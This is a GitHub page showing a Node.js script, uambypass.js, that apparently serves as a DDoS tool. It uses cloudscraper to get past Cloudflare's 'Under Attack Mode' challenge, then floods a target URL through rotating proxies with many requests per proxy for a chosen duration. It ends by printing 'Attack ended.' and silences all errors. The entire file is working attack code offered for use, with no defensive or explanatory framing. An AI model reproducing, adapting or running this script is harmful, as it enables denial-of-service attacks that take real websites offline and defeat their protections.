-
Notifications
You must be signed in to change notification settings - Fork 275
/
uambypass.js
72 lines (63 loc) · 2.02 KB
/
uambypass.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
require('events').EventEmitter.defaultMaxListeners = 0;
const fs = require('fs'),
CloudScraper = require('cloudscraper'),
path = require('path');
if (process.argv.length !== 6) {
console.log(`
Usage: node ${path.basename(__filename)} <url> <time> <req_per_ip> <proxies>
Usage: node ${path.basename(__filename)} <http://example.com> <60> <100> <http.txt>`);
process.exit(0);
}
const target = process.argv[2],
time = process.argv[3],
req_per_ip = process.argv[4];
let proxies = fs.readFileSync(process.argv[5], 'utf-8').replace(/\r/gi, '').split('\n').filter(Boolean);
function send_req() {
let proxy = proxies[Math.floor(Math.random() * proxies.length)];
let getHeaders = new Promise(function (resolve, reject) {
CloudScraper({
uri: target,
resolveWithFullResponse: true,
proxy: 'http://' + proxy,
challengesToSolve: 10
}, function (error, response) {
if (error) {
let obj_v = proxies.indexOf(proxy);
proxies.splice(obj_v, 1);
return console.log(error.message);
}
resolve(response.request.headers);
});
});
getHeaders.then(function (result) {
// Object.keys(result).forEach(function (i, e) {
// console.log(i + ': ' + result[i]);
// });
for (let i = 0; i < req_per_ip; ++i) {
CloudScraper({
uri: target,
headers: result,
proxy: 'http://' + proxy,
followAllRedirects: false
}, function (error, response) {
if (error) {
console.log(error.message);
}
});
}
});
}
setInterval(() => {
send_req();
});
setTimeout(() => {
console.log('Attack ended.');
process.exit(0)
}, time * 1000);
// to avoid errors
process.on('uncaughtException', function (err) {
// console.log(err);
});
process.on('unhandledRejection', function (err) {
// console.log(err);
});